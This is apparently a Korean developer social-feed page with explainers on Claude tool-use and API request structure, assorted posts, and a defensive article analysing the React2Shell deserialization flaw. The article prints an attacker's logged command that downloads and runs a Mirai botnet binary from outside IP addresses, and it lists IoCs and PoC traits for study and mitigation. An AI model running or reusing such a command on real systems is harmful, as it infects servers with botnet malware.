Claude가 도구를 사용하려면 먼저 어떤 도구가 있는지 알아야 한다. 에이전트는 API 요청의 tools 배열에 사용 가능한 도구들을 정의한다. 각 도구는 이름, 설명, 그리고 입력 스키마를 포함한다.

Bash 도구 정의 예시

{
  "name": "Bash",
  "description": "Executes a given bash command in a persistent shell session with optional timeout, ensuring proper handling and security measures.\n\nIMPORTANT: This tool is for terminal operations like git, npm, docker, etc...",
  "input_schema": {
    "type": "object",
    "properties": {
      "command": {
        "type": "string",
        "description": "The command to execute"
      },
      "timeout": {
        "type": "number",
        "description": "Optional timeout in milliseconds (max 600000)"
      },
      "description": {
        "type": "string",
        "description": "Clear, concise description of what this command does in 5-10 words, in active voice."
      }
    },
    "required": ["command"],
    "additionalProperties": false,
    "$schema": "http://json-schema.org/draft-07/schema#"
  }
}

Glob 도구 정의 예시

{
  "name": "Glob",
  "description": "- Fast file pattern matching tool that works with any codebase size\n- Supports glob patterns like \"**/*.js\" or \"src/**/*.ts\"\n- Returns matching file paths sorted by modification time\n- Use this tool when you need to find files by name patterns",
  "input_schema": {
    "type": "object",
    "properties": {
      "pattern": {
        "type": "string",
        "description": "The glob pattern to match files against"
      },
      "path": {
        "type": "string",
        "description": "The directory to search in. If not specified, the current working directory will be used."
      }
    },
    "required": ["pattern"],
    "additionalProperties": false,
    "$schema": "http://json-schema.org/draft-07/schema#"
  }
}

도구 정의에서 description이 중요하다. Claude는 이 설명을 읽고 어떤 상황에서 해당 도구를 사용해야 하는지 판단한다. input_schema는 JSON Schema 형식으로 Claude가 도구를 호출할 때 어떤 파라미터를 어떤 형식으로 전달해야 하는지 정의한다.

Claude가 도구를 선정하는 방법

Claude가 도구를 선택하는 과정은 Messages API의 대화 흐름 속에서 이루어진다. 실제 예시를 통해 살펴보자.

사용자의 요청

사용자가 "이 NestJS 프로젝트에서 entity 구조를 탐색해주세요"라고 요청하면 에이전트는 다음과 같은 메시지를 API에 전송한다:

{
  "role": "user",
  "content": [
    {
      "type": "text",
      "text": "이 NestJS TypeScript 프로젝트에서 entity 구조를 탐색해주세요..."
    }
  ]
}

Claude의 도구 사용 요청

Claude는 사용자의 요청을 분석하고 작업 수행에 필요한 도구들을 선택하여 tool_use 블록으로 응답한다:

{
  "role": "assistant",
  "content": [
    {
      "type": "text",
      "text": "이 NestJS 프로젝트의 entity 구조를 철저하게 탐색하겠습니다."
    },
    {
      "type": "tool_use",
      "id": "toolu_01ABC123XYZ",
      "name": "Glob",
      "input": {
        "pattern": "**/*.entity.ts"
      }
    },
    {
      "type": "tool_use",
      "id": "toolu_01DEF456UVW",
      "name": "Bash",
      "input": {
        "command": "find /workspace/my-nestjs-project/src -type f -name \"*.ts\" | grep -E \"(entity|entities)\" | head -20",
        "description": "Find entity files in src directory"
      }
    }
  ]
}

여기서 주목할 점이 있다. Claude는 한 번의 응답에서 여러 도구를 동시에 요청할 수 있다. 위 예시에서는 GlobBash 두 도구를 병렬로 요청했다. 각 도구 요청에는 고유한 id가 부여되어 나중에 결과를 매핑할 때 사용된다.

응답의 stop_reason

Claude가 도구 사용을 요청하면 API 응답의 stop_reason"tool_use"로 설정된다:

{
  "id": "msg_01XYZ789ABC",
  "type": "message",
  "role": "assistant",
  "model": "claude-haiku-4-5-20251001",
  "content": [...],
  "stop_reason": "tool_use",
  "usage": {
    "input_tokens": 714,
    "output_tokens": 314
  }
}

stop_reason은 에이전트에게 "응답이 끝난 것이 아니라 도구 실행이 필요하다"는 신호를 보낸다.

에이전트는 tool_use 요청을 받으면 무엇을 하는가?

에이전트(클라이언트)가 stop_reason: "tool_use" 응답을 받으면 다음 단계를 수행해야 한다:

  1. 도구 요청 파싱: 응답의 content 배열에서 type: "tool_use" 블록들을 추출한다.

  2. 도구 실행: 각 도구 요청에 대해 실제 도구를 실행한다. 예를 들어:

    • Bash 도구 → 시스템에서 실제 bash 명령어 실행
    • Glob 도구 → 파일 시스템에서 패턴 매칭 수행
    • Read 도구 → 파일 내용 읽기
  3. 결과 수집: 각 도구의 실행 결과를 수집하고 tool_use_id와 함께 결과를 구성한다.

  4. 모델에 결과 전달: 수집한 결과를 tool_result 형식으로 모델에 다시 전송한다.

이 과정에서 에이전트는 도구 실행의 성공/실패 여부, 타임아웃 처리, 보안 검증 등을 담당한다. Claude는 도구의 스키마와 용도만 알 뿐 실제 실행은 에이전트의 몫이다.

에이전트가 모델에 도구 실행 결과를 알리는 방법

에이전트가 도구를 실행한 후에는 그 결과를 tool_result 형식으로 모델에 전달한다. 이 결과는 user role의 메시지로 전송된다.

tool_result 구조

{
  "role": "user",
  "content": [
    {
      "tool_use_id": "toolu_01DEF456UVW",
      "type": "tool_result",
      "content": "/workspace/my-nestjs-project/src/modules/chat/entities/dm-unlock.entity.ts\n/workspace/my-nestjs-project/src/modules/agora/entities/call-session.entity.ts\n/workspace/my-nestjs-project/src/modules/user/entities/user.entity.ts\n/workspace/my-nestjs-project/src/modules/user/entities/user-profile.entity.ts\n/workspace/my-nestjs-project/src/modules/item/entities/item.entity.ts\n...",
      "is_error": false
    },
    {
      "tool_use_id": "toolu_01ABC123XYZ",
      "type": "tool_result",
      "content": "/workspace/my-nestjs-project/src/modules/agora/entities/agora-event-log.entity.ts\n/workspace/my-nestjs-project/src/modules/agora/entities/call-participant.entity.ts\n/workspace/my-nestjs-project/src/modules/item/entities/item.entity.ts\n...",
      "cache_control": {
        "type": "ephemeral"
      }
    }
  ]
}

tool_result의 핵심 필드는 다음과 같다:

필드 설명
tool_use_id Claude가 요청한 도구의 고유 ID. 어떤 요청에 대한 결과인지 매핑
type 항상 "tool_result"
content 도구 실행의 실제 결과 (문자열)
is_error 도구 실행 실패 시 true
cache_control (선택) 프롬프트 캐싱을 위한 제어 옵션

전체 대화 흐름

tool_result를 받은 Claude는 결과를 분석하고 추가 도구가 필요하면 다시 tool_use를 요청한다. 충분한 정보가 모이면 최종 응답을 생성한다. 이 과정이 반복되면서 복잡한 작업도 단계별로 수행할 수 있다:

User → Claude: "entity 구조를 탐색해주세요"
Claude → Agent: tool_use (Glob, Bash)
Agent → Claude: tool_result (파일 목록)
Claude → Agent: tool_use (Read - 여러 파일)
Agent → Claude: tool_result (파일 내용들)
Claude → User: 최종 분석 결과

실제 예시에서 Claude는 먼저 GlobBash로 entity 파일 목록을 찾고 그 결과를 받은 후 Read 도구로 개별 파일들을 읽어 분석했다:

{
  "type": "text",
  "text": "좋습니다. 이제 주요 entity 파일들을 읽겠습니다."
},
{
  "type": "tool_use",
  "id": "toolu_01GHI789RST",
  "name": "Read",
  "input": {
    "file_path": "/workspace/my-nestjs-project/src/modules/user/entities/user.entity.ts"
  }
},
{
  "type": "tool_use",
  "id": "toolu_01JKL012MNO",
  "name": "Read",
  "input": {
    "file_path": "/workspace/my-nestjs-project/src/modules/user/entities/user-profile.entity.ts"
  }
}

마무리

Claude Code와 같은 에이전트는 모델에 사용할 수 있는 도구를 알려주어 도구를 능동적으로 사용하게 만듦으로써 유저의 실행환경과 상호 협력하여 도구를 실행한다. 유저에게 질문을 하는 AskUserQuestion도 도구이고 심지어 계획 모드를 빠져나가는 ExitPlanMode도 도구다.

MCP(Model Context Protocol) 서버가 제공하는 기능들도 결국 도구로 노출되며 Subagent 호출도 도구를 통해 이루어진다. Skills도 마찬가지다. 결국 Claude Code의 거의 모든 확장 기능은 Tool Use라는 하나의 메커니즘 위에서 동작한다.

이 구조를 이해하면 Claude Code가 어떻게 파일을 읽고, 코드를 실행하고, 웹을 검색하는지 명확해진다. 그리고 새로운 도구를 추가하거나 MCP 서버를 연동할 때도 같은 패턴이 적용된다는 것을 알 수 있다.

Read more →
8
1

증명 가능한 조건을 만족하는지만 검사하면 되고 AST 국소 패턴만 다루는 것만 모델링 하면 되서 오히려 구현 자체는 간단해질 것 같음

1

I was wondering when browsers started calling the UI "chrome" (it's not a Google thing!)

Amazingly, the Firefox (then Mozilla) commit that introduced the "chrome" tree into the source code dates back to Sep 4, 1998... which is also the same day Google was founded!

github.com/mozilla-firefox/fir

Edit: Netscape used the term much earlier though! Not as much in filenames, but in the actual source code it's all over the place.

2
0
0
2
2
0
0

洪 民憙 (Hong Minhee) shared the below article:

Claude API의 Request Body 분석

자손킴 @jasonkim@hackers.pub

Claude API의 Request는 크게 4가지 분류를 가지고 있다.

  • System Messages
  • Messages
  • Tools
  • Model & Config

각각은 다음과 같은 역할을 한다.

System Messages

System Messages는 Claude에게 역할, 성격, 제약사항 등을 지시하는 최상위 설정이다. 배열 형태로 여러 개의 시스템 메시지를 전달할 수 있다.

"system": [
  {
    "type": "text",
    "text": "You are Claude Code, Anthropic's official CLI for Claude.",
    "cache_control": {
      "type": "ephemeral"
    }
  },
  {
    "type": "text",
    "text": "You are an interactive CLI tool that helps users with software engineering tasks...",
    "cache_control": {
      "type": "ephemeral"
    }
  }
]

System Messages에는 다음과 같은 내용이 포함된다:

  • Claude의 페르소나 및 역할 정의
  • 보안 및 윤리 가이드라인
  • 응답 형식 및 톤 설정
  • 프로젝트 정보 등 컨텍스트
  • cache_control을 통한 캐싱 설정

Messages

Messages는 userassistant 역할이 번갈아가며 주고받은 대화를 누적하는 배열이다. assistant 메시지는 반드시 모델의 실제 응답일 필요가 없다. 이를 활요해 API 호출 시 assistant 메시지를 미리 작성해서 전달하면, Claude는 그 내용 이후부터 이어서 응답한다. 이를 Prefill 기법이라 한다.

이 대화 기록을 통해 Claude는 맥락을 유지하며 응답한다.

"messages": [
  {
    "role": "user",
    "content": [...]
  },
  {
    "role": "assistant",
    "content": [...]
  },
  {
    "role": "user",
    "content": [...]
  }
]

User Message

User의 content는 주로 두 가지 type으로 구성된다:

1. text - 사용자의 일반 메시지나 시스템 리마인더

{
  "role": "user",
  "content": [
    {
      "type": "text",
      "text": "선물을 주고받는 기능을 위한 entity를 설계하라."
    }
  ]
}

2. tool_result - Tool 실행 결과 반환

{
  "role": "user",
  "content": [
    {
      "tool_use_id": "toolu_01Qj7gnFLKWBNjg",
      "type": "tool_result",
      "content": [
        {
          "type": "text",
          "text": "## Entity 구조 탐색 보고서\n\n철저한 탐색을 통해..."
        }
      ]
    }
  ]
}

Assistant Message

Assistant의 content는 주로 세 가지 type으로 구성된다:

1. text - Claude의 응답 메시지

{
  "type": "text",
  "text": "선물 주고받기 기능을 위한 entity 설계를 시작하겠습니다."
}

2. thinking - Extended Thinking 기능 활성화 시 사고 과정 (signature로 검증)

{
  "type": "thinking",
  "thinking": "사용자가 선물을 주고받는 기능을 위한 entity 설계를 요청했습니다...",
  "signature": "EqskYIChgCKknyFYp5cu1zhVOp7kFTJb..."
}

3. tool_use - Tool 호출 요청

{
  "type": "tool_use",
  "id": "toolu_01Qj7gn6vLKCNjg",
  "name": "Task",
  "input": {
    "subagent_type": "Explore",
    "prompt": "이 NestJS TypeScript 프로젝트에서 entity 구조를 탐색해주세요...",
    "description": "Entity 구조 탐색"
  }
}

User와 Assistant의 협력

Tool 사용 흐름은 다음과 같이 진행된다:

  1. Assistant: tool_use로 Tool 호출 요청
  2. User: tool_result로 실행 결과 반환
  3. Assistant: 결과를 바탕으로 text 응답 또는 추가 tool_use

이 과정에서 어떤 Tool을 사용할 수 있는지는 tools 배열이 정의한다.

Tools

Tools는 Claude가 사용할 수 있는 도구들을 정의하는 배열이다. 각 Tool은 name, description, input_schema 세 가지 필드로 구성된다.

Tool의 기본 구조

"tools": [
  {
    "name": "ToolName",
    "description": "Tool에 대한 설명...",
    "input_schema": {
      "type": "object",
      "properties": {...},
      "required": [...],
      "additionalProperties": false,
      "$schema": "http://json-schema.org/draft-07/schema#"
    }
  }
]
필드 설명
name Tool의 고유 식별자. Claude가 tool_use에서 이 이름으로 호출
description Tool의 용도, 사용법, 주의사항 등을 상세히 기술. Claude가 어떤 Tool을 선택할지 판단하는 근거
input_schema JSON Schema 형식으로 입력 파라미터 정의

input_schema 구조

input_schema는 JSON Schema draft-07 스펙을 따르며, Tool 호출 시 필요한 파라미터를 정의한다.

"input_schema": {
  "type": "object",
  "properties": {
    "pattern": {
      "type": "string",
      "description": "The regular expression pattern to search for"
    },
    "path": {
      "type": "string",
      "description": "File or directory to search in. Defaults to current working directory."
    },
    "output_mode": {
      "type": "string",
      "enum": ["content", "files_with_matches", "count"],
      "description": "Output mode: 'content' shows matching lines, 'files_with_matches' shows file paths..."
    },
    "-i": {
      "type": "boolean",
      "description": "Case insensitive search"
    },
    "head_limit": {
      "type": "number",
      "description": "Limit output to first N lines/entries"
    }
  },
  "required": ["pattern"],
  "additionalProperties": false,
  "$schema": "http://json-schema.org/draft-07/schema#"
}

properties 내 각 파라미터 정의

각 파라미터는 다음 필드들로 정의된다:

필드 설명
type 데이터 타입 (string, number, boolean, array, object 등)
description 파라미터의 용도와 사용법 설명
enum (선택) 허용되는 값의 목록. 이 중 하나만 선택 가능
default (선택) 기본값

input_schema의 메타 필드

필드 설명
type 항상 "object"
properties 파라미터 정의 객체
required 필수 파라미터 이름 배열. 여기 포함되지 않은 파라미터는 선택적
additionalProperties false면 정의되지 않은 파라미터 전달 불가
$schema JSON Schema 버전 명시

실제 예시: Grep Tool

{
  "name": "Grep",
  "description": "A powerful search tool built on ripgrep\n\n  Usage:\n  - ALWAYS use Grep for search tasks...",
  "input_schema": {
    "type": "object",
    "properties": {
      "pattern": {
        "type": "string",
        "description": "The regular expression pattern to search for in file contents"
      },
      "path": {
        "type": "string",
        "description": "File or directory to search in (rg PATH). Defaults to current working directory."
      },
      "glob": {
        "type": "string",
        "description": "Glob pattern to filter files (e.g. \"*.js\", \"*.{ts,tsx}\")"
      },
      "output_mode": {
        "type": "string",
        "enum": ["content", "files_with_matches", "count"],
        "description": "Output mode. Defaults to 'files_with_matches'."
      },
      "-A": {
        "type": "number",
        "description": "Number of lines to show after each match"
      },
      "-B": {
        "type": "number",
        "description": "Number of lines to show before each match"
      },
      "-i": {
        "type": "boolean",
        "description": "Case insensitive search"
      },
      "multiline": {
        "type": "boolean",
        "description": "Enable multiline mode. Default: false."
      }
    },
    "required": ["pattern"],
    "additionalProperties": false,
    "$schema": "http://json-schema.org/draft-07/schema#"
  }
}

이 Tool을 Claude가 호출할 때의 tool_use:

{
  "type": "tool_use",
  "id": "toolu_01ABC123",
  "name": "Grep",
  "input": {
    "pattern": "class.*Entity",
    "path": "src/modules",
    "glob": "*.ts",
    "output_mode": "content",
    "-i": true
  }
}

requiredpattern만 있으므로 나머지는 선택적이다. Claude는 input_schemadescription을 참고하여 적절한 파라미터를 선택한다.

Model & Config

마지막으로 모델 선택과 각종 설정 옵션들이다:

{
  "model": "claude-opus-4-5-20251101",
  "max_tokens": 32000,
  "thinking": {
    "budget_tokens": 31999,
    "type": "enabled"
  },
  "stream": true,
  "metadata": {
    "user_id": "user_2f2ce5dbb94ac27c8da0d0b28dddf815fc82be54e0..."
  }
}
옵션 설명
model 사용할 Claude 모델 (claude-opus-4-5, claude-sonnet-4-5 등)
max_tokens 최대 출력 토큰 수
thinking Extended Thinking 설정 (budget_tokens로 사고 토큰 예산 설정)
stream 스트리밍 응답 여부
metadata 사용자 ID 등 메타데이터

마치며

지금까지 Claude API Request Body의 4가지 핵심 구성 요소를 살펴보았다:

  1. System Messages: Claude의 역할과 행동 방식을 정의
  2. Messages: user-assistant 간 대화 기록을 누적하며, tool_use/tool_result를 통해 Tool과 상호작용
  3. Tools: JSON Schema 기반으로 사용 가능한 도구의 이름, 설명, 입력 파라미터를 정의
  4. Model & Config: 모델 선택, 토큰 제한, 스트리밍 등 설정

이 구조를 알면 Claude가 주고받은 메시지를 어떻게 관리하는지, 도구를 어떻게 사용하는지 이해하고 API를 더 효과적으로 활용할 수 있다.

Read more →
3
2
3
3
5
4

[매장 홍보글 및 이벤트 안내]

안녕하세요 튜링의사과 입니다.🍏
2025년 마지막해를 위해 튜링의사과에서 제이웍스코리아와 함께 Mini 팝업을 진행하고있습니다.
BLACK APPLE - W (단 1주일)

간단한 SNS 이벤트 부터 럭키 draw 이벤트를 진행하고있으니 많은분들이 참여해주시면
다양한 상품을 제공해드리고있습니다.

추가로 방문만해도 굿즈 상품을 드리고 있으니 오셔서 경품기회도 놓치지 마시고
ASUS ROG 키보드, 체리 엑스트리파이, Kiiboom, 에포메이커, 글로리어스, 크리에이티브
인기 상품을 할인 판매 하고있습니다. 많은 관심부탁드립니다.

2
3
2
3

Zed 에디터 써보는 중인데 Git 연동이 좀 부실하다. 보통은 GitKraken이나 lazygit 등의 도구를 병행해서 쓰니까, 꼭 에디터에서 Git을 빵빵하게 지원해야하냐는 의문은 든다. 다만 Git의 특정 기능들은 에디터 연동이 불가피한데(diff 보기, conflict 해결하기 등), 이런거보면 에디터가 Git의 인터페이스가 되어야하는거 같기도하고 그렇다.

5
5
3

언제까지 (a:number, b:number) => a + b, (a:string, b:string) => a + b, <T>(a: T, b: T) => a + b 를 해줘야 하나고
그냥 대충 눈치껏 (a, b) => a + b 하면 'ba 와 더할 수 있어야 하는 타입이고 a 는 무언가와 더할 수 있는 타입이구나' 하고 추론할 수 있는 분석기가 달린 언어가 필요함

@2chanhaeng초무 말씀하시는 것을 타입 이론에서는 principal type이라고 하고요, 다른 분들께서 언급하셨듯 Hindley-Milner 타입 시스템이 principal type을 항상 추론할 수 있긴 합니다만 여기에 이것 저것 더 붙이는 과정에서 principal type을 추론할 수 없게 되거나 추론 과정이 종료한다는 보장(decidability)이 사라지는 경우가 많습니다. (그러니까 H-M 기반이라고 항상 principal type이 가능한 것도 아니에요.) 그냥 이론적으로 어려운 문제이기 때문에 현실적인 타입 시스템에서는 이걸 포기하는 경우가 일반적이라고 생각하시면 될 듯 합니다.

7
1
3

洪 民憙 (Hong Minhee) shared the below article:

React2Shell 취약점의 특성을 알아보자

고남현 @gnh1201@hackers.pub

React2Shell 취약점이란?

외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.

이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.

특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.

특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.

자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.

역직렬화(Deserialization) 과정은 왜 위험한가?

실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.

  1. 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
  2. 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
  3. 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.

이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.

알려진 역직렬화 취약점 사례 (언어 및 생태계별)

역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.

언어 / 생태계역직렬화 취약점 사례주요 공통점
JavaCVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind)외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생
.NET (C# / VB.NET)CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase)BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행
PythonCVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS)pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거
PHP (WP)CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress)unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생
RubyCVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal)YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행
JavaScript / Node.jsCVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript)구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석
GoCVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul)Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS
RustGHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험
Kotlin / AndroidCVE-2024-43080 (Android) / CVE-2024-10382 (Android Car)Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS
C / C++CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf)Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족
Swift / iOSCVE-2021-32742 (Vapor)외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출
산업용 (ICS/OT)CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC)프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능

역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.

이제 사전 정보 없이도 공격 특성을 읽을 수 있다.

역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.

여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.

  • https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
  • https://github.com/msanft/CVE-2025-55182/blob/main/poc.py

여기서 알 수 있는 정보는 다음과 같다.

  1. 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
  2. 생성자 수준의 키워드 (__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.
  3. then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.
  4. 페이로드의 value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다.
  5. 공격 코드로 보이는 _response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.
  6. 결국 JSON 역직렬화 과정이 일어나면서, then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.
  7. 공격 절차에 포함되는 Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.

공격자는 이 취약점을 이용해서 뭘하나?

Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.

(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
 cd /dev; \
 busybox wget http://31.56.27.76/n2/x86; \
 chmod 777 x86; \
 ./x86 reactOnMynuts)

이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.

그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.

  • https://www.virustotal.com/gui/file/858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (33/65 security vendors flagged this file as malicious)

(그래 너 나쁜거 알았으니 그만 알아보자)

관련 IoC 는 다음과 같다.

  • 3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)
  • 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)
  • http://193.34.213.150/nuts/bolts (URL)
  • http://31.56.27.76/n2/x86 (URL)

범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.

추가 분석은 아래 링크에서 확인할 수 있다.

  • https://www.mbsd.jp/research/20251211/react2shell/
  • https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home

이 공격을 어떻게 완화해야할까?

버전 업데이트로 해결하기

Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.

Vulnerable version Patched release
Next.js 15.0.x 15.0.5
Next.js 15.1.x 15.1.9
Next.js 15.2.x 15.2.6
Next.js 15.3.x 15.3.6
Next.js 15.4.x 15.4.8
Next.js 15.5.x 15.5.7
Next.js 16.0.x 16.0.10
Next.js 14 canaries after 14.3.0-canary.76 Downgrade to 14.3.0-canary.76 (not vulnerable)
Next.js 15 canaries before 15.6.0-canary.58 15.6.0-canary.58
Next.js 16 canaries before 16.1.0-canary.12 16.1.0-canary.12 and after

혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.

  • https://github.com/vercel-labs/fix-react2shell-next

방화벽(WAF 등) 규칙의 개선으로 완화하기

Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.

Read more →
1
2

incredible, github is going to start charging for self-hosted actions runners (in private repositories)

We are introducing a $0.002 per-minute Actions cloud platform charge for all Actions workflows across GitHub-hosted and self-hosted runners.

resources.github.com/actions/2

2
0
0

As someone who's been mass-mass-publishing to JSR since its early days, this has been really frustrating. I even set up a local JSR server to debug it, only to find that the problem simply doesn't exist locally. At this point I'm out of ideas—hoping the JSR team can take a look at the production environment.

https://hollo.social/@fedify/019b2806-9b0b-7982-bad6-eb17c669af4d

0

We've been struggling with a JSR publishing issue for nearly two months now—@fedify/cli and @fedify/testing packages hang indefinitely during the server-side processing stage, blocking our releases. Strangely, the problem doesn't reproduce on a local JSR server at all.

We've opened a GitHub issue to track this: https://github.com/jsr-io/jsr/issues/1238.

Fedify has been a Deno-first, JSR-first project from the start, and we really want to keep it that way. If you've experienced similar issues or have any insights, we'd appreciate your input on the issue.

1

이제 C#, .NET에서도 아무런 외부 종속성 없이 곧바로 HWP 파일을 읽고 쓸 수 있게 되었습니다.

Java 버전의 hwplib을 .NET으로 AI 코드 어시스턴트의 도움을 받아 성공적으로 포팅한 HwpLibSharp 1.7.1-preview.1을 출시합니다.

많이 사용해보시고 피드백 주시면 감사하겠습니다!

https://forum.dotnetdev.kr/t/hwplibsharp-1-1-7-preview1/14149

2
2
0
1
2

洪 民憙 (Hong Minhee) shared the below article:

하스켈 책 보충 자료

박준규 @curry@hackers.pub

책 《하스켈 병렬 및 동시성 프로그래밍(원제: Parallel and Concurrent Programming in Haskell)》 8장을 읽다 보면 다음과 같은 문구가 나옵니다.

We will use the following function to download a web page:

getURL :: String -> IO ByteString

This function is provided by the module GetURL in GetURL.hs, which is a small wrapper around the API provided by the HTTP package.

